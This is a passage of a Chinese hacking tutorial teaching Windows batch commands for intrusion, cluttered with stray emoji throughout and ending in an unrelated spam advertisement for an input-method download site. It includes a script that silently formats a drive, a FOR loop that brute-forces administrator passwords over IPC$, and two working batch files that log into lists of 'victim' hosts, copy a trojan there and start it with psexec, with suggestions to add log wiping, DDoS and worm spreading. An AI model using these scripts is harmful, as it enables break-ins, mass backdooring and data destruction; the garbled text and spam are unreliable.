2.@ 命令
表示不显(⬜)示@后面(⛅)的命令(🏓),在入侵过程中(例(🚛)如(🎴)使用批处(🏑)理来格式(♐)化(⚽)敌(📩)人的硬盘)自然不能让对方看到你使用的命令啦。
(💰)Sample:(🐢)@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不(📋)可以使用/y这个(🚃)参数的(🔭),可喜的(🍜)是微软留了(🎢)个autoset这个参数给(⛪)我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从(😶)下一行(✍)开始的命令。
语法:goto label (label是参数,指定所(👌)要转(🚪)向的批处理程序中的行。)
(🚼) Sample:(🤖)
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如(🤐)果这(🐒)里的if、%1、(❇)%2你(🚠)不明(🛤)白(📜)的话,先跳过去,后(🥥)面会有详细(🤴)的解释。)
@Rem check parameters if null show usage
(🏓) :noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
(✍) 标签的名(♍)字(🌸)可以随便(👇)起,但是(📳)最好是有意义的字母啦(🧜),字母(📪)前加个:用来表(🎵)示这个字(🏇)母是标签(🏌),goto命令就是根据这个(🎬):(👓)来寻找下一步跳到(🛌)到那里。最好有一些说明这样你别人看起来才会理(🕹)解(😂)你的意图啊(🔘)。
4.Rem 命(👦)令(🐽)
(😛) 注释命令,在(🐯)C语言中(🌄)相当与/*--------*/,它(🌤)并(🌙)不(📕)会被执行,只是起一个注释的作用,便于(🐶)别(🙀)人阅读和你(💷)自己日后修(😫)改(🤱)。
Rem Message
(🤫)Sample:@Rem Here is the description.
(🏛)5.Pause 命(🦔)令
运行 Pause 命令时,将显示(🎌)下(🐗)面的消息:
(💎) Press any key to continue . . .
Sample:
(🖐) @echo off
(💣) :begin
(😩) (❇)copy a:*.* d:(🙌)\back
(🗳) (🌯)echo Please put a new disk into driver A
pause
goto begin
(📴) 在(🎱)这个(🔏)例子(✊)中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示(👎)您将另一(🧘)张磁盘放(🎚)入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后(🥡)按任意(⌛)键继续处理。
6.Call 命令
(⏲)从一个批处理程序调(🌹)用另一个(⛎)批处理程序,并且不终止(⏳)父批(🦂)处理程序。call 命令(💒)接受用作调(🔣)用目(🍵)标的(🛷)标签。如果在脚本或批处理文(🤒)件外使用 Call,它将不会在命令行起作用。
(🕣)语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
(✖) 参数
(🎋)[Drive:}[Path] FileName
(🦂) (🈂)指定要调用的批处理程序的位(🈚)置和名称。filename 参数必须具(👻)有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程(🍁)序(🐩),所(🚝)有的DOS命(🙄)令和命令(🐻)行程序(🌜)都可以由(🏛)start命令来调用。
入侵常用参(😝)数:
MIN 开始时(🤘)窗口最小化
(⏫) SEPARATE 在分开的(🕯)空间(👗)内开始(😫) 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始(💂)应(💝)用程序
REALTIME 在 REALTIME 优先级类(✌)别开始应用程序
WAIT 启动(🎎)应(🍣)用(🐌)程序并等候它结束
(🐟) parameters 这些为传送到命(✂)令(🚐)/程(🥐)序(🛂)的(🆓)参数
执行的(🆚)应用程序是 32-位 GUI 应用程序时(🛋),CMD.EXE 不(🚔)等应(😓)用程序终(🎒)止就返回(📡)命(🏽)令(🐊)提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命(👺)令
choice 使(📊)用此命令可(🥂)以让用户输入一个字符,从(⏫)而运行(🥚)不同(🤼)的命(💏)令。使(🏖)用时应该加(🔱)/c:参数,c:后(🍃)应写提示可输入的字符,之间(🦂)无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
(❎) Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最(🏯)高的错(🤸)误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断(🌍),d表(🍃)示执(🔚)行标号为defrag的程序(🔞)段(➗),m表(🛎)示执行标号为mem的程序段,e表示(🏣)执行(👻)标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号(🦐)处,然(🦇)后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是(🌦)否符合规(🏠)定的条件,从而决定执行不同的命令。 有三(🉑)种格(🕑)式:
1、if "参数" == "字符串" 待(🔀)执行(💴)的命(🥜)令
参数如果等于指定的字符串,则(🛸)条件成立,运(🤗)行命令(🤦),否则运(📡)行下(🧛)一句。(注意是两个等号)
如if "%1"=="a" format a:
(👦) if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件(🙎)名 待执行的命令
如果有指定(💢)的文(🎬)件,则条件成立,运行(🍂)命令,否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于(🚭)指定的数(🕍)字,则(🌂)条(🎃)件成立,运行(✏)命(🚉)令,否则运行下(❣)一(😷)句。
如if errorlevel 2 goto x2
(🤚)DOS程序(🔔)运行时都会返(🤥)回一个数字给DOS,称(🐜)为错误码(👩)errorlevel或称返回码,常见的返回码(🚸)为0、1。
10.for 命令
for 命令是一个(🌻)比较复(🖼)杂的(💫)命令,主要用(🥫)于参(🍁)数在指定的(🐜)范围内循环执行命令。
在批(🕥)处理文件中使(⏪)用 FOR 命令时(🚱),指(😣)定变量请使用(🌇) %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参(🍟)数。
(set) 指定(🧢)一个或一(📚)组文件。可(😜)以使用通配符。
command 指定对每个文件执行的(😾)命令。
command-parameters 为特定命令(🔼)指定参数或命令行开关。
在(🛩)批处理文件(🐣)中使用 FOR 命令时,指定变量请使用(📁) %%variable
而不要用 %variable。变量名称是区分大(🕯)小写的,所以 %i 不同(🚄)于 %I
(🍻) 如果命令扩(🌉)展名被启用,下列额外的 FOR 命令格式会受到支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与(🥈)目录名匹配(🈹),而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以(🏄) [drive:]path 为根(💼)的(🔢)目录树,指向每个目(🏪)录(🏙)中的(🍄)FOR 语句。如果在(🕌) /R 后(🍒)没有指定目(🍥)录,则(🍐)使用当前目录(👰)。如果集仅为一个单(👴)点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结(🔜)束(🎁)的一(🌃)个数(📰)字序列。
(😭)因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。
(🧖)FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
(😠)FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件(🔗)名。继续(🤦)到 filenameset 中(🍥)的下一个文件之前,每份文件都已(🕵)被打开、读取并经过处理。处理包括读取文件,将其分(❓)成一行行的文字(💫),然后将每行解析成零或更多的符号。然后用已(🕓)找(📒)到的符号字符串变量值调用 For 循环。以默(👧)认方式,/F 通过每个文件的每一行(🛄)中分开(🍋)的第(🍔)一个空白符(🌂)号。跳过空白行。您可(🚹)通(🕥)过指定可选(👁) "options"参数替代默(🐣)认解析操作。这个(🧝)带引号的字符串包括一(🖲)个或多(🌀)个指定不同解析选项的(♐)关键字。
这些(👺)关键字为:
eol=c - 指一个(🤪)行注释字符的结(🕟)尾(就一(🍶)个(🍰))
skip=n - 指在文(💹)件开始时忽略的行数。
delims=xxx - 指分(😻)隔符集。这个替换了空格和跳格键的默(🎉)认分隔符集(🤛)。
(🚟) tokens=x,y,m-n - 指每行的哪一个(👭)符号被(🛁)传(⬇)递到每个迭代的 for 本身。这会导致额外变量名称的格式为一(🚋)个(🎢)范围。通过 nth 符号指定(🥈) m符号字符串中的(👈)最后一(🚋)个字符星号,那么额外(🍶)的变量将(🥍)在最后(🎃)一个符号解析之分配并接受行的保留文本(🥨)。
usebackq - 指定新语法已在下类情况(🦁)中使用:
(📬) 在作(🐙)为命(🦍)令执行(🥐)一个后(🦅)引号的字符串并且引号字符为文字字符串命令并允(🥁)许(⛸)在 fi中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析(🛐) myfile.txt 中的每一行,忽略以分号打头的那些行(🎯),将每(🎌)行(🐯)中的第二个(🐗)和第三(🙅)个符号传递给 for 程(📌)序体;用逗号和(🚯)/或(🆎)空格定(🐣)界符号。请(🍵)注意,这个 for 程序体的语(📖)句(🐈)引用 %i 来取得第二个符号,引(🈂)用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有(🌤)剩余符号。对于带(🥨)有空格的文件名,您需要(🧡)用双引号将文件名括(⏫)起来。为了用这(🔇)种方式(👨)来使(😞)用双引号,您还需要使用 usebackq 选项,否则,双引号会被(🈷)理解成是用作定(🥃)义某个要分析的(🕠)字符串的(💭)。
%i 专(🌠)门在 for 语句中得到说明,%j 和(🏭) %k 是(👷)通过tokens= 选项专门得到说明的。您可以(🌒)通过(🙅) tokens= 一行指定最多 26 个(🧞)符号(🐅),只要不试图说明一个(🌋)高于字母 z 或Z 的变量。请记住(❇),FOR 变量是(🔼)单一字母、分(🎋)大小写和全局的;同时不能有 52 个以(💒)上都在使用中。
(💳)您还可(🏮)以在(🔏)相邻字符串上使用 FOR /F 分析逻辑(🙊);方法是,用单引号将(🔲)括号(🤲)之间的 filenameset 括(🔈)起来(💨)。这样,该字符串会被当作一(🥘)个文(🏡)件中的一个单一输入行。
最后(🏁),您可以用 FOR /F 命令来(💮)分析命(🌼)令(✔)的输出。方法是(🔷),将括号之间的 filenameset 变成一个反括字(🚾)符串。该字符(🤦)串会被当作命令行,传递到(😧)一个子 CMD.EXE,其输出会被抓(🎂)进内存,并(🚫)被当作文件分析(🔃)。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚(🗻)举当(😀)前环境中的环境(📯)变量(🛺)名称。
(😯) 另外,FOR 变量参照的替(🏪)换已被增强。您现(🌤)在可以(💍)使用下列选项语(👆)法:
~I - 删除任何引号("),扩(📹)充 %I
(🦋)%~fI - 将 %I 扩充到一个完全合格的路(🍽)径(🌸)名
%~dI - 仅(🦕)将(🌾) %I 扩充到一个驱动器号
(🕓)%~pI - 仅将 %I 扩充到(🥐)一(🌑)个路径
%~nI - 仅将 %I 扩充(🎱)到(🛄)一个(😒)文件名(✒)
(🦀)%~xI - 仅将 %I 扩充到(👓)一个(🍝)文件扩展名
(😿) %~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文(🔓)件属性
%~tI - 将 %I 扩充到文件的(✍)日期(💯)/时间(👂)
(🏽) (😜)%~zI - 将 %I 扩(👡)充到文件的大小
(📏) %~$PATH:I - 查找列在路径(💝)环境(⏲)变量的目(💓)录,并将 %I 扩充到找到的第一(🌍)个完全合格的名(🔼)称。如果环境变(😄)量未(🐑)被定(🏮)义,或(🔦)者没(💄)有找到文件(🀄),此组合键会扩充空字(🛌)符串(🌨)可以组合修饰符来得到多重结果:
(🤹) %~dpI - 仅将 %I 扩充到(🤐)一(🥈)个驱动器号和路径
(📉) %~nxI - 仅将 %I 扩充到一个文(🕟)件名和(🐷)扩展(🕰)名(😥)
%~fsI - 仅将 %I 扩充到一(🏣)个带有(➡)短名的完整路径名
%~dp$PATH:i - 查(🈲)找列在(🛂)路径环境变量的目(🦆)录(😉),并将 %I 扩充到找到的第一(🎼)个驱动器(🎀)号和路径。
%~ftzaI - 将 %I 扩充到类似输出(🆕)线路的 DIR
在以(⛪)上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个(🖍)有效的 FOR 变量名终止。选取类(😍)似(👏) %I 的大写变量名比(🍜)较易读,而且避免与不分(💉)大小(🔝)写的组合键混淆。
(📧) 以上(🔀)是(👛)MS的官方帮助,下面我(💎)们(🎤)举几个例子来(🏾)具(📍)体(🍔)说明一(🔩)下(🎅)For命令在入侵中的(🍾)用途(🚘)。
sample2:(🧝)
利用(💾)For命令来实现对一台目标(🕞)Win2k主(🤢)机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目(🥛)标主机进行连接,当成(🎦)功时(🌗)记(🏧)下密码。
最主要的(🖕)命(👳)令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表(⛲)示(🚬)admin的密码,在dict.txt中这个取(🏈)i%的值用net use 命令来连接。然(📦)后将程序(😪)运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完(🧞)成">>D:\ok.txt ,这样就ko了。
sample3:
(🍢)你有(🤮)没有过手里有大量肉鸡等着(🌘)你去种后门 木马呢?,当数量特别多(📯)的时(🍍)候,原本很开心的(🕯)一件(💪)事(🥫)都(🚅)会变得很郁闷:(🎹))。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那(🔡)么如何实(🏖)现(☔)呢?呵呵,看下去你就会明白(🍊)了。
主(🗿)要命(🚰)令也(🧗)只有一条:(在批处理文(🥑)件中使用 FOR 命令时(🗾),指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
(🎯)tokens的用法请参见上(🛶)面的sample1,在这里它表示按顺序将victim.txt中的内容传递给(🐪)door.bat中(🌩)的参数%i %j %k。
而cultivate.bat无非(♋)就是用net use命令来建(🐉)立IPC$连(😾)接,并copy木马 后门到victim,然后用返回(🏧)码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件(🎆)。
delims= 表(🕺)示vivtim.txt中的内容是(😒)一空格来分隔的。我想看到这里你也一定明白这victim.txt里(💾)的内容是什么样的了(👳)。应该根据%%i %%j %%k表示的对象来排列,一(🗿)般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
(🏀)@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
(👅) (🛀)--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
(👃) ------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
(🎽):failed
@echo Sorry can not connected to the victim.
(😗) ----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这(🍺)只是一(📳)个自动种植后门批处理的雏形,两个(😑)批处理和后(⏲)门程(♉)序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内(🎼)容
尚可扩展,例(📭)如(🛅):加入清除日志 DDOS的(👚)功能,加入定时(🕝)添加用(😙)户的功(💘)能,更深入一点可(👜)以使(🎤)之具备自动(🌗)传播功能(🦕)(蠕(😋)虫(🎡)).此(🕷)处(✂)不多做叙述(📕),有兴(🛫)趣的朋友可自行研究.
搜(🏑)狗输入法(🛤)官(🚿)网不仅提供了便捷的下(❓)载通道,还为(🆚)用户准备了详尽的使用指南和(🈶)贴心的客户服(👋)务。通过访问 http://pinyin.37moyu.com/ ,您将进入一个全新的智能输入世(🔁)界。无(🤸)论您(🈯)遇到任何问题或困惑,搜狗输入法官网(🔘)都将是您最坚实的(🈹)后盾。立即点击链接,开启您的智能输入之旅吧!